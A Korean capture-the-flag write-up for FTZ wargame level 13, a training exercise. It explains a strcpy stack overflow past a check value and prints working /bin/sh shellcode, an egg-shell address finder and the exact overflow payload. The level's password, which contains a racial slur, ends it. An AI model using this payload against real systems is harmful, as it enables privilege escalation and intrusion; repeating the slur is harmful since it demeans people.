FTZ level 13
FTZ level13
- Question
· level13 ID로 Login해서 level14의 password를 찾기
- Solve
· 'level13' Directory의 hint 내용을 확인해보면 Hint로 attackme File의 Source Code가 제공된다.
· Source Code 분석
◦ Stack Memory 영역에 buf 변수를 1024Byte만큼 확보한다.
◦ Stack Memory 영역에 i 변수를 4Byte만큼 확보한다.
◦ i 변수 영역에 0x1234567이라는 내용이 바뀌면 BOF 공격 경고문을 출력한다.
◦ 'strcpy' 함수가 사용되었으며 이를 이용해 BOF 공격을 해야 한다.
· File을 분석하기 위해서는 gdb를 사용해야하는데 원본 File이 level14에 대해서만 쓰기(w)가 가능하므로 쓰기 권한이 주어진 tmp Directory에 복사 후 분석해야한다
· gdb를 이용해 분석해보면 처음에 sub 명령어를 이용해 buf 변수의 크기인 1024(0x418)만큼을 확보한다.
· 해당 지점으로부터 12를 뺀 Memory 영역에 i 값인 0x1234567을 복사한다.
· 여기서 buf 영역과 i 값 사이에는 아무런 값이 없기 때문에 Dummy 영역으로 판단한다.
· sub 명령어로 8Byte 만큼의 Dummy 영역을 확보한다.
· Egg Shell
◦ export 명령어를 이용해 환경변수에 Egg shell을 등록한다.
◦ 명령어
1 | export eggsh=`python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` | cs |
◦ Egg Shell의 주소 값을 찾는 Program을 만든다.
◦ Code
1 2 3 4 5 6 | #include <stdio.h> int main() { printf("egg : %p\n", getenv("eggsh")); } | cs |
◦ 변수 i의 값이 변하면 안 되기 때문에 buf 변수(1024Byte)와 Dummy 영역(8Byte)을 NOP 명령어로 채우고 0x1234567을 Little Endian의 순서로 넣어주고 또 다른 Dummy 영역(12Byte)을 NOP로 채우고 Egg Shell의 주소를 채워넣는다.
◦ 명령어
1 | ./attackme `python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\x91\xfe\xff\xbf"'` | cs |
· Password 확인
◦ my-pass 명령어로 Password를 확인한다.
- Answer
· Password : what that nigga want?